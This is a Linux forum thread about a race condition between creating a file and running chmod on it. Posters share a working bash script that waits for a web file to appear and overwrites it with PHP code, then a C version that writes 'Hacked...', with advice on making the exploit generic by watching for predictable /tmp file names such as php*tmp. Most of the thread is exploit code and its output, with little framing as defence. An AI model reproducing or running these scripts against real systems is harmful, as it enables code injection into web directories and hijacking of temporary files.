Find the answer to your Linux question:
Results 1 to 6 of 6
Hi everyone... Yesterday, while I was searching for some umask tutorials, I've bumped into this: PHP: umask - Manual Please take a quick glance over the 2nd response there. He ...
Enjoy an ad free experience by logging in. Not a member yet? Register.
  1. #1
    Just Joined!
    Join Date
    Nov 2007
    Posts
    8

    chmod Race Condition


    Hi everyone...

    Yesterday, while I was searching for some umask tutorials, I've bumped into this:
    PHP: umask - Manual

    Please take a quick glance over the 2nd response there. He (sean at awesomeplay dot com) claims that suppose a programmer wrote:

    Code:
    touch ("myfile");
    chmod ("myfile",700);
    instead of:

    Code:
    umask (077);
    touch ("myfile");
    I'm able to exploit this as a race condition by opening the file for reading right after the touch command was executed and before the chmod command took place.

    My question is: how do I do this in practice?

    BTW1 - I have no malicious and/or criminal interests. I'm going to try this on my OWN computer.
    BTW2 - I'm not a native English speaker, so please excuse me for any spelling/grammer mistakes I might have done unintentionally.

    Thanks for the helpers.

  2. #2
    Just Joined!
    Join Date
    Nov 2007
    Location
    Camp Pendleton
    Posts
    55
    It's simple really. A bash script can do it given the code:

    Code:
    #!/bin/bash
    
    while [ 1 ]; do
        if [ -e /var/www/myfile.php ]; then
            echo "<?php phpinfo(); ?>" > /var/www/myfile.php
            break
        fi
    done
    Test it like this:

    Code:
    $ sh raceme.sh &
    [2] 31549
    mrjohnson@unagi:~$ touch /var/www/myfile.php
    mrjohnson@unagi:~$ cat /var/www/myfile.php
    <?php phpinfo(); ?>
    [2]-  Done                    sh raceme.sh
    Now, it might not work every time you run the php code. But then it just takes the one time. :-)

  3. #3
    Just Joined!
    Join Date
    Nov 2007
    Posts
    8
    Very nice indeed.

    I'm going to write a C version of the above code for efficiency reasons. I'll post it as soon as it's ready.

  4. $spacer_open
    $spacer_close
  5. #4
    Just Joined!
    Join Date
    Nov 2007
    Posts
    8
    OK. here is how my C code looks like:

    Code:
    #include <unistd.h>
    #include <stdio.h>
    
    int main()
    {
    	FILE *fd;
    	while (1)
    	{
    		if (access ("myfile",F_OK) != -1)
    		{
    			fd = fopen ("myfile","w");
    			fprintf (fd,"&#37;s","Hacked...");
    			fclose (fd);
    			break;
    		}
    	}
    	return 0;
    }
    Three questions:

    1. I'm not a good C programmer. Is there any way I can improve the code? (readability/efficiency/compatibility etc...)
    2. In the code above, the attacker must have prior knowledge of the file name. Is there a way to write a more "generic" exploit that will detect the name on the fly?
    3. I started to wonder whether this attack is actually useful. What I mean is that assuming I'm not the owner of the file I must have an execute permission on the directory (in the "others" column) in order to read/write from/to the file. However, at least to my knowledge, there is no such directory.

    Thanks for the helpers.

  6. #5
    Just Joined!
    Join Date
    Nov 2007
    Location
    Camp Pendleton
    Posts
    55
    Heya,

    Well, file functions aren't terrible portable. There's all sorts of platform-specific problems that'll crop up. But what you've written should work on most unix systems. I think it'd even work on Windows (but you may need "wb" file access on Windows). You'll want to make sure fp is not null though. It's very possible that your program could lose the race between your access() and fopen() and crash.

    As for efficiency, not really. It's a race so it's going to gobble up cpu when you attempt to beat another program out.

    You're right it's not the most useful kind of attack. Most of the time programs create files protected by directory permissions to prevent exactly this sort of thing. It's most likely when a program is trying to write to /tmp.

    But most programs will also use a random file name in /tmp to prevent what you're doing. Many will be lazy though and create a file called, say, "php-13484.tmp" or something. So obviously, if you knew of a vulnerability you could watch for php*tmp.

  7. #6
    Just Joined!
    Join Date
    Nov 2007
    Posts
    8
    I got your point, but I have one more question, though: In the example you gave me you're exploiting this weakness in order to write unexpected information to the vulnerable file, but what if I want to read information that will be printed to the file after I opened it? Is it possible?

    Thanks again.

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •